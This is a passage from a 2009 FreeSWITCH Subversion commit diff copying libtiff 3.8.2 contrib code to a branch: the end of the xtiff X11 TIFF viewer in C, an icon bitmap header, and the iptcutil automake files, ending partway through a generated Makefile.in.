+            xColormap = XCreateColormap(xDisplay, RootWindow(xDisplay, xScreen),
+                xVisual, AllocNone);
+            pixels = (u_long *) malloc(colormapSize * sizeof(u_long));
+            MCHECK(pixels);
+            (void) XAllocColorCells(xDisplay, xColormap, True,
+                NULL, 0, pixels, colormapSize);
+            basePixel = (u_char) pixels[0];
+            free(pixels);
+        }
+        XStoreColors(xDisplay, xColormap, colors, colormapSize);
+        break;
+    case 1:
+        xImageDepth = 1;
+        xVisual = DefaultVisual(xDisplay, xScreen);
+        xColormap = DefaultColormap(xDisplay, xScreen);
+        break;
+    default:
+        fprintf(stderr, "xtiff: unsupported image depth %d\n", tfImageDepth);
+        exit(0);
+    }
+
+    if (appData.verbose == True)
+	fprintf(stderr, "%s: Using %d-bit %s visual.\n",
+	    fileName, xImageDepth, classNames[xVisual->class]);
+
+    if (colors != NULL)
+        free(colors);
+    if (grayMap != NULL)
+        free(grayMap);
+    if (redMap != NULL)
+        free(redMap);
+    if (greenMap != NULL)
+        free(greenMap);
+    if (blueMap != NULL)
+        free(blueMap);
+
+    colors = NULL; grayMap = redMap = greenMap = blueMap = NULL;
+}
+
+/*
+ * Search for an appropriate visual.  Promote where necessary.
+ * Check to make sure that ENOUGH colormap entries are writeable.
+ * basePixel was determined when XAllocColorCells() contiguously
+ * allocated enough entries.  basePixel is used below in GetTIFFImage.
+ */
+Boolean
+SearchVisualList(image_depth, visual_class, visual)
+    int image_depth, visual_class;
+    Visual **visual;
+{
+    XVisualInfo template_visual, *visual_list, *vl;
+    int i, n_visuals;
+
+    template_visual.screen = xScreen;
+    vl = visual_list = XGetVisualInfo(xDisplay, VisualScreenMask,
+        &template_visual, &n_visuals);
+
+    if (n_visuals == 0) {
+        fprintf(stderr, "xtiff: visual list not available\n");
+        exit(0);
+    }
+
+    for (i = 0; i < n_visuals; vl++, i++) {
+        if ((vl->class == visual_class) && (vl->depth >= image_depth)
+            && (vl->visual->map_entries >= (1 << vl->depth))) {
+            *visual = vl->visual;
+            xImageDepth = vl->depth;
+            xRedMask = vl->red_mask;
+            xGreenMask = vl->green_mask;
+            xBlueMask = vl->blue_mask;
+            XFree((char *) visual_list);
+            return True;
+        }
+    }
+
+    XFree((char *) visual_list);
+    return False;
+}
+
+void
+GetTIFFImage()
+{
+    int pixel_map[3], red_shift, green_shift, blue_shift;
+    register u_char *scan_line, *output_p, *input_p;
+    register int i, j, s;
+
+    scan_line = (u_char *) malloc(tfBytesPerRow = TIFFScanlineSize(tfFile));
+    MCHECK(scan_line);
+
+    if ((tfImageDepth == 32) || (tfImageDepth == 24)) {
+        output_p = imageMemory = (u_char *)
+            malloc(tfImageWidth * tfImageHeight * 4);
+        MCHECK(imageMemory);
+
+        /*
+         * Handle different color masks for different frame buffers.
+         */
+        if (ImageByteOrder(xDisplay) == LSBFirst) { /* DECstation 5000 */
+            red_shift = pixel_map[0] = xRedMask == 0xFF000000 ? 3
+                : (xRedMask == 0xFF0000 ? 2 : (xRedMask == 0xFF00 ? 1 : 0));
+            green_shift = pixel_map[1] = xGreenMask == 0xFF000000 ? 3
+                : (xGreenMask == 0xFF0000 ? 2 : (xGreenMask == 0xFF00 ? 1 : 0));
+            blue_shift = pixel_map[2] = xBlueMask == 0xFF000000 ? 3
+                : (xBlueMask == 0xFF0000 ? 2 : (xBlueMask == 0xFF00 ? 1 : 0));
+        } else { /* Ardent */
+            red_shift = pixel_map[0] = xRedMask == 0xFF000000 ? 0
+                : (xRedMask == 0xFF0000 ? 1 : (xRedMask == 0xFF00 ? 2 : 3));
+            green_shift = pixel_map[0] = xGreenMask == 0xFF000000 ? 0
+                : (xGreenMask == 0xFF0000 ? 1 : (xGreenMask == 0xFF00 ? 2 : 3));
+            blue_shift = pixel_map[0] = xBlueMask == 0xFF000000 ? 0
+                : (xBlueMask == 0xFF0000 ? 1 : (xBlueMask == 0xFF00 ? 2 : 3));
+        }
+
+        if (tfPlanarConfiguration == PLANARCONFIG_CONTIG) {
+            for (i = 0; i < tfImageHeight; i++) {
+                if (TIFFReadScanline(tfFile, scan_line, i, 0) < 0)
+                    break;
+                for (input_p = scan_line, j = 0; j < tfImageWidth; j++) {
+                    *(output_p + red_shift) = *input_p++;
+                    *(output_p + green_shift) = *input_p++;
+                    *(output_p + blue_shift) = *input_p++;
+                    output_p += 4;
+                    if (tfSamplesPerPixel == 4) /* skip the fourth channel */
+                        input_p++;
+                }
+            }
+        } else {
+            for (s = 0; s < tfSamplesPerPixel; s++) {
+                if (s == 3)             /* skip the fourth channel */
+                    continue;
+                for (i = 0; i < tfImageHeight; i++) {
+                    if (TIFFReadScanline(tfFile, scan_line, i, s) < 0)
+                        break;
+                    input_p = scan_line;
+                    output_p = imageMemory + (i*tfImageWidth*4) + pixel_map[s];
+                    for (j = 0; j < tfImageWidth; j++, output_p += 4)
+                        *output_p = *input_p++;
+                }
+            }
+        }
+    } else {
+        if (xImageDepth == tfImageDepth) {
+            output_p = imageMemory = (u_char *)
+                malloc(tfBytesPerRow * tfImageHeight);
+            MCHECK(imageMemory);
+
+            for (i = 0; i < tfImageHeight; i++, output_p += tfBytesPerRow)
+                if (TIFFReadScanline(tfFile, output_p, i, 0) < 0)
+                    break;
+        } else if ((xImageDepth == 8) && (tfImageDepth == 4)) {
+            output_p = imageMemory = (u_char *)
+                malloc(tfBytesPerRow * 2 * tfImageHeight + 2);
+            MCHECK(imageMemory);
+
+            /*
+             * If a scanline is of odd size the inner loop below will overshoot.
+             * This is handled very simply by recalculating the start point at
+             * each scanline and padding imageMemory a little at the end.
+             */
+            for (i = 0; i < tfImageHeight; i++) {
+                if (TIFFReadScanline(tfFile, scan_line, i, 0) < 0)
+                    break;
+                output_p = &imageMemory[i * tfImageWidth];
+                input_p = scan_line;
+                for (j = 0; j < tfImageWidth; j += 2, input_p++) {
+                    *output_p++ = (*input_p >> 4) + basePixel;
+                    *output_p++ = (*input_p & 0xf) + basePixel;
+                }
+            }
+        } else if ((xImageDepth == 8) && (tfImageDepth == 2)) {
+            output_p = imageMemory = (u_char *)
+                malloc(tfBytesPerRow * 4 * tfImageHeight + 4);
+            MCHECK(imageMemory);
+
+            for (i = 0; i < tfImageHeight; i++) {
+                if (TIFFReadScanline(tfFile, scan_line, i, 0) < 0)
+                    break;
+                output_p = &imageMemory[i * tfImageWidth];
+                input_p = scan_line;
+                for (j = 0; j < tfImageWidth; j += 4, input_p++) {
+                    *output_p++ = (*input_p >> 6) + basePixel;
+                    *output_p++ = ((*input_p >> 4) & 3) + basePixel;
+                    *output_p++ = ((*input_p >> 2) & 3) + basePixel;
+                    *output_p++ = (*input_p & 3) + basePixel;
+                }
+            }
+        } else if ((xImageDepth == 4) && (tfImageDepth == 2)) {
+            output_p = imageMemory = (u_char *)
+                malloc(tfBytesPerRow * 2 * tfImageHeight + 2);
+            MCHECK(imageMemory);
+
+            for (i = 0; i < tfImageHeight; i++) {
+                if (TIFFReadScanline(tfFile, scan_line, i, 0) < 0)
+                    break;
+                output_p = &imageMemory[i * tfBytesPerRow * 2];
+                input_p = scan_line;
+                for (j = 0; j < tfImageWidth; j += 4, input_p++) {
+                    *output_p++ = (((*input_p>>6) << 4)
+                        | ((*input_p >> 4) & 3)) + basePixel;
+                    *output_p++ = ((((*input_p>>2) & 3) << 4)
+                        | (*input_p & 3)) + basePixel;
+                }
+            }
+        } else {
+            fprintf(stderr,
+                "xtiff: can't handle %d-bit TIFF file on an %d-bit display\n",
+                tfImageDepth, xImageDepth);
+            exit(0);
+        }
+    }
+
+    free(scan_line);
+}
+
+void
+CreateXImage()
+{
+    XGCValues gc_values;
+    GC bitmap_gc;
+
+    xOffset = yOffset = 0;
+    grabX = grabY = -1;
+
+    xImage = XCreateImage(xDisplay, xVisual, xImageDepth,
+        xImageDepth == 1 ? XYBitmap : ZPixmap, /* offset */ 0,
+        (char *) imageMemory, tfImageWidth, tfImageHeight,
+        /* bitmap_pad */ 8, /* bytes_per_line */ 0);
+
+    /*
+     * libtiff converts LSB data into MSB but doesn't change the FillOrder tag.
+     */
+    if (xImageDepth == 1)
+        xImage->bitmap_bit_order = MSBFirst;
+    if (xImageDepth <= 8)
+        xImage->byte_order = MSBFirst;
+
+    /*
+     * create an appropriate GC
+     */
+    gc_values.function = GXcopy;
+    gc_values.plane_mask = AllPlanes;
+    if (tfPhotometricInterpretation == PHOTOMETRIC_MINISBLACK) {
+        gc_values.foreground = XWhitePixel(xDisplay, xScreen);
+        gc_values.background = XBlackPixel(xDisplay, xScreen);
+    } else {
+        gc_values.foreground = XBlackPixel(xDisplay, xScreen);
+        gc_values.background = XWhitePixel(xDisplay, xScreen);
+    }
+    xWinGc = XCreateGC(xDisplay, XtWindow(shellWidget),
+        GCFunction | GCPlaneMask | GCForeground | GCBackground, &gc_values);
+
+    /*
+     * create the pixmap and load the image
+     */
+    if (appData.usePixmap == True) {
+        xImagePixmap = XCreatePixmap(xDisplay, RootWindow(xDisplay, xScreen),
+            xImage->width, xImage->height, xImageDepth);
+
+        /*
+         * According to the O'Reilly X Protocol Reference Manual, page 53,
+         * "A pixmap depth of one is always supported and listed, but windows
+         * of depth one might not be supported."  Therefore we create a pixmap
+         * of depth one and use XCopyPlane().  This is idiomatic.
+         */
+        if (xImageDepth == 1) {         /* just pass the bits through */
+            gc_values.foreground = 1;   /* foreground describes set bits */
+            gc_values.background = 0;   /* background describes clear bits */
+            bitmap_gc = XCreateGC(xDisplay, xImagePixmap,
+                GCForeground | GCBackground, &gc_values);
+            XPutImage(xDisplay, xImagePixmap, bitmap_gc, xImage,
+                0, 0, 0, 0, xImage->width, xImage->height);
+        } else
+            XPutImage(xDisplay, xImagePixmap, xWinGc, xImage,
+                0, 0, 0, 0, xImage->width, xImage->height);
+        XDestroyImage(xImage);
+        free(imageMemory);
+    }
+}
+
+XtCallbackProc
+SelectProc(w, unused_1, unused_2)
+    Widget w;
+    caddr_t unused_1;
+    caddr_t unused_2;
+{
+    XawListReturnStruct *list_return;
+
+    list_return = XawListShowCurrent(w);
+
+    switch (list_return->list_index) {
+    case ButtonQuit:
+        QuitProc();
+        break;
+    case ButtonPreviousPage:
+        PreviousProc();
+        break;
+    case ButtonNextPage:
+        NextProc();
+        break;
+    default:
+        fprintf(stderr, "error in SelectProc\n");
+        exit(0);
+    }
+    XawListUnhighlight(w);
+}
+
+void
+QuitProc(void)
+{
+    exit(0);
+}
+
+void
+NextProc()
+{
+    PageProc(ButtonNextPage);
+}
+
+void
+PreviousProc()
+{
+    PageProc(ButtonPreviousPage);
+}
+
+void
+PageProc(direction)
+    int direction;
+{
+    XEvent fake_event;
+    Arg args[4];
+
+    switch (direction) {
+    case ButtonPreviousPage:
+        if (tfDirectory > 0)
+            TIFFSetDirectory(tfFile, --tfDirectory);
+        else
+            return;
+        break;
+    case ButtonNextPage:
+        if (TIFFReadDirectory(tfFile) == True)
+            tfDirectory++;
+        else
+            return;
+        break;
+    default:
+        fprintf(stderr, "error in PageProc\n");
+        exit(0);
+    }
+
+    xOffset = yOffset = 0;
+    grabX = grabY = -1;
+
+    GetTIFFHeader();
+    SetNameLabel();
+    GetTIFFImage();
+
+    if (appData.usePixmap == True)
+        XFreePixmap(xDisplay, xImagePixmap);
+    else
+        XDestroyImage(xImage);
+
+    CreateXImage();
+
+    /*
+     * Using XtSetValues() to set the widget size causes a resize.
+     * This resize gets propagated up to the parent shell.
+     * In order to disable this visually disconcerting effect,
+     * shell resizing is temporarily disabled.
+     */
+    XtSetArg(args[0], XtNallowShellResize, False);
+    XtSetValues(shellWidget, args, 1);
+
+    XtSetArg(args[0], XtNwidth, tfImageWidth);
+    XtSetArg(args[1], XtNheight, tfImageHeight);
+    XtSetValues(imageWidget, args, 2);
+
+    XtSetArg(args[0], XtNallowShellResize, True);
+    XtSetValues(shellWidget, args, 1);
+
+    XClearWindow(xDisplay, XtWindow(imageWidget));
+
+    fake_event.type = Expose;
+    fake_event.xexpose.x = fake_event.xexpose.y = 0;
+    fake_event.xexpose.width = tfImageWidth;    /* the window will clip */
+    fake_event.xexpose.height = tfImageHeight;
+    EventProc(imageWidget, NULL, &fake_event);
+}
+
+void
+EventProc(widget, unused, event)
+    Widget widget;
+    caddr_t unused;
+    XEvent *event;
+{
+    int ih, iw, ww, wh, sx, sy, w, h, dx, dy;
+    Dimension w_width, w_height;
+    XEvent next_event;
+    Arg args[2];
+
+    if (event->type == MappingNotify) {
+        XRefreshKeyboardMapping((XMappingEvent *) event);
+        return;
+    }
+
+    if (!XtIsRealized(widget))
+        return;
+
+    if ((event->type == ButtonPress) || (event->type == ButtonRelease))
+        if (event->xbutton.button != Button1)
+            return;
+
+    iw = tfImageWidth;  /* avoid sign problems */
+    ih = tfImageHeight;
+
+    /*
+     * The grabX and grabY variables record where the user grabbed the image.
+     * They also record whether the mouse button is down or not.
+     */
+    if (event->type == ButtonPress) {
+        grabX = event->xbutton.x;
+        grabY = event->xbutton.y;
+        return;
+    }
+
+    /*
+     * imageWidget is a Core widget and doesn't get resized.
+     * So we calculate the size of its viewport here.
+     */
+    XtSetArg(args[0], XtNwidth, &w_width);
+    XtSetArg(args[1], XtNheight, &w_height);
+    XtGetValues(shellWidget, args, 2);
+    ww = w_width;
+    wh = w_height;
+    XtGetValues(listWidget, args, 2);
+    wh -= w_height;
+
+    switch (event->type) {
+    case Expose:
+        dx = event->xexpose.x;
+        dy = event->xexpose.y;
+        sx = dx + xOffset;
+        sy = dy + yOffset;
+        w = MIN(event->xexpose.width, iw);
+        h = MIN(event->xexpose.height, ih);
+        break;
+    case KeyPress:
+        if ((grabX >= 0) || (grabY >= 0)) /* Mouse button is still down */
+            return;
+        switch (XLookupKeysym((XKeyEvent *) event, /* KeySyms index */ 0)) {
+        case XK_Up:
+            if (ih < wh)    /* Don't scroll if the window fits the image. */
+                return;
+            sy = yOffset + appData.translate;
+            sy = MIN(ih - wh, sy);
+            if (sy == yOffset)  /* Filter redundant stationary refreshes. */
+                return;
+            yOffset = sy;
+            sx = xOffset;
+            dx = dy = 0;
+            w = ww; h = wh;
+            break;
+        case XK_Down:
+            if (ih < wh)
+                return;
+            sy = yOffset - appData.translate;
+            sy = MAX(sy, 0);
+            if (sy == yOffset)
+                return;
+            yOffset = sy;
+            sx = xOffset;
+            dx = dy = 0;
+            w = ww; h = wh;
+            break;
+        case XK_Left:
+            if (iw < ww)
+                return;
+            sx = xOffset + appData.translate;
+            sx = MIN(iw - ww, sx);
+            if (sx == xOffset)
+                return;
+            xOffset = sx;
+            sy = yOffset;
+            dx = dy = 0;
+            w = ww; h = wh;
+            break;
+        case XK_Right:
+            if (iw < ww)
+                return;
+            sx = xOffset - appData.translate;
+            sx = MAX(sx, 0);
+            if (sx == xOffset)
+                return;
+            xOffset = sx;
+            sy = yOffset;
+            dx = dy = 0;
+            w = ww; h = wh;
+            break;
+        default:
+            return;
+        }
+        break;
+    case MotionNotify:
+        /*
+         * MotionEvent compression.  Ignore multiple motion events.
+         * Ignore motion events if the mouse button is up.
+         */
+        if (XPending(xDisplay)) /* Xlib doesn't flush the output buffer */
+            if (XtPeekEvent(&next_event))
+                if (next_event.type == MotionNotify)
+                    return;
+        if ((grabX < 0) || (grabY < 0))
+            return;
+        sx = xOffset + grabX - (int) event->xmotion.x;
+        if (sx >= (iw - ww))    /* clamp x motion but allow y motion */
+            sx = iw - ww;
+        sx = MAX(sx, 0);
+        sy = yOffset + grabY - (int) event->xmotion.y;
+        if (sy >= (ih - wh)) /* clamp y motion but allow x motion */
+            sy = ih - wh;
+        sy = MAX(sy, 0);
+        if ((sx == xOffset) && (sy == yOffset))
+            return;
+        dx = dy = 0;
+        w = ww; h = wh;
+        break;
+    case ButtonRelease:
+        xOffset = xOffset + grabX - (int) event->xbutton.x;
+        xOffset = MIN(iw - ww, xOffset);
+        xOffset = MAX(xOffset, 0);
+        yOffset = yOffset + grabY - (int) event->xbutton.y;
+        yOffset = MIN(ih - wh, yOffset);
+        yOffset = MAX(yOffset, 0);
+        grabX = grabY = -1;
+    default:
+        return;
+    }
+
+    if (appData.usePixmap == True) {
+        if (xImageDepth == 1)
+            XCopyPlane(xDisplay, xImagePixmap, XtWindow(widget),
+                xWinGc, sx, sy, w, h, dx, dy, 1);
+        else
+            XCopyArea(xDisplay, xImagePixmap, XtWindow(widget),
+                xWinGc, sx, sy, w, h, dx, dy);
+    } else
+        XPutImage(xDisplay, XtWindow(widget), xWinGc, xImage,
+            sx, sy, dx, dy, w, h);
+}
+
+void
+ResizeProc()
+{
+    Dimension w_width, w_height;
+    int xo, yo, ww, wh;
+    XEvent fake_event;
+    Arg args[2];
+
+    if ((xOffset == 0) && (yOffset == 0))
+        return;
+
+    XtSetArg(args[0], XtNwidth, &w_width);
+    XtSetArg(args[1], XtNheight, &w_height);
+    XtGetValues(shellWidget, args, 2);
+    ww = w_width;
+    wh = w_height;
+    XtGetValues(listWidget, args, 2);
+    wh -= w_height;
+
+    xo = xOffset; yo = yOffset;
+
+    if ((xOffset + ww) >= tfImageWidth)
+        xOffset = MAX((int) tfImageWidth - ww, 0);
+    if ((yOffset + wh) >= tfImageHeight)
+        yOffset = MAX((int) tfImageHeight - wh, 0);
+
+    /*
+     * Send an ExposeEvent if the origin changed.
+     * We have to do this because of the use and semantics of bit gravity.
+     */
+    if ((xo != xOffset) || (yo != yOffset)) {
+        fake_event.type = Expose;
+        fake_event.xexpose.x = fake_event.xexpose.y = 0;
+        fake_event.xexpose.width = tfImageWidth;
+        fake_event.xexpose.height = tfImageHeight;
+        EventProc(imageWidget, NULL, &fake_event);
+    }
+}
+
+int
+XTiffErrorHandler(display, error_event)
+    Display *display;
+    XErrorEvent *error_event;
+{
+    char message[80];
+
+    /*
+     * Some X servers limit the size of pixmaps.
+     */
+    if ((error_event->error_code == BadAlloc)
+            && (error_event->request_code == X_CreatePixmap))
+        fprintf(stderr, "xtiff: requested pixmap too big for display\n");
+    else {
+        XGetErrorText(display, error_event->error_code, message, 80);
+        fprintf(stderr, "xtiff: error code %s\n", message);
+    }
+
+    exit(0);
+}
+
+void
+Usage()
+{
+    fprintf(stderr, "Usage xtiff: [options] tiff-file\n");
+    fprintf(stderr, "\tstandard Xt options\n");
+    fprintf(stderr, "\t[-help]\n");
+    fprintf(stderr, "\t[-gamma gamma]\n");
+    fprintf(stderr, "\t[-usePixmap (True | False)]\n");
+    fprintf(stderr, "\t[-viewportWidth pixels]\n");
+    fprintf(stderr, "\t[-viewportHeight pixels]\n");
+    fprintf(stderr, "\t[-translate pixels]\n");
+    fprintf(stderr, "\t[-verbose (True | False)]\n");
+    exit(0);
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/xtifficon.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/xtifficon.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/xtiff/xtifficon.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/xtifficon.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/xtifficon.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+#define xtifficon_width 32
+#define xtifficon_height 32
+static char xtifficon_bits[] = {
+   0xff, 0x00, 0x00, 0xc0, 0xfe, 0x01, 0x7e, 0xc0, 0xfc, 0x03, 0x7e, 0x60,
+   0xf8, 0x07, 0x06, 0x30, 0xf8, 0x07, 0x1e, 0x18, 0xf0, 0x0f, 0x1e, 0x0c,
+   0xe0, 0x1f, 0x06, 0x06, 0xc0, 0x3f, 0x06, 0x06, 0xc0, 0x3f, 0x06, 0x03,
+   0x80, 0x7f, 0x80, 0x01, 0x00, 0xff, 0xc0, 0x00, 0x00, 0xfe, 0x61, 0x00,
+   0x00, 0xfe, 0x31, 0x7e, 0x7e, 0xfc, 0x33, 0x7e, 0x7e, 0xf8, 0x1b, 0x06,
+   0x18, 0xf0, 0x0d, 0x1e, 0x18, 0xf0, 0x0e, 0x1e, 0x18, 0x60, 0x1f, 0x06,
+   0x18, 0xb0, 0x3f, 0x06, 0x18, 0x98, 0x7f, 0x06, 0x18, 0x98, 0x7f, 0x00,
+   0x00, 0x0c, 0xff, 0x00, 0x00, 0x06, 0xfe, 0x01, 0x00, 0x63, 0xfc, 0x03,
+   0x80, 0x61, 0xfc, 0x03, 0xc0, 0x60, 0xf8, 0x07, 0xc0, 0x60, 0xf0, 0x0f,
+   0x60, 0x60, 0xe0, 0x1f, 0x30, 0x60, 0xe0, 0x1f, 0x18, 0x60, 0xc0, 0x3f,
+   0x0c, 0x60, 0x80, 0x7f, 0x06, 0x00, 0x00, 0xff};

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/iptcutil)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil


Name: svn:ignore
   + .deps
Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/iptcutil/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+
+EXTRA_DIST = README test.iptc test.txt
+
+noinst_PROGRAMS = iptcutil
+
+iptcutil_SOURCES = iptcutil.c
+iptcutil_LDADD = $(LIBTIFF)
+
+INCLUDES = -I$(top_srcdir)/libtiff
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/iptcutil/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,498 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+noinst_PROGRAMS = iptcutil$(EXEEXT)
+subdir = contrib/iptcutil
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+PROGRAMS = $(noinst_PROGRAMS)
+am_iptcutil_OBJECTS = iptcutil.$(OBJEXT)
+iptcutil_OBJECTS = $(am_iptcutil_OBJECTS)
+am__DEPENDENCIES_1 = $(top_builddir)/libtiff/libtiff.la
+iptcutil_DEPENDENCIES = $(am__DEPENDENCIES_1)
+DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir)/libtiff -I$(top_builddir)/libtiff
+depcomp = $(SHELL) $(top_srcdir)/config/depcomp
+am__depfiles_maybe = depfiles
+COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+	$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+LTCOMPILE = $(LIBTOOL) --tag=CC --mode=compile $(CC) $(DEFS) \
+	$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \
+	$(AM_CFLAGS) $(CFLAGS)
+CCLD = $(CC)
+LINK = $(LIBTOOL) --tag=CC --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(AM_LDFLAGS) $(LDFLAGS) -o $@
+SOURCES = $(iptcutil_SOURCES)
+DIST_SOURCES = $(iptcutil_SOURCES)
+ETAGS = etags
+CTAGS = ctags
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
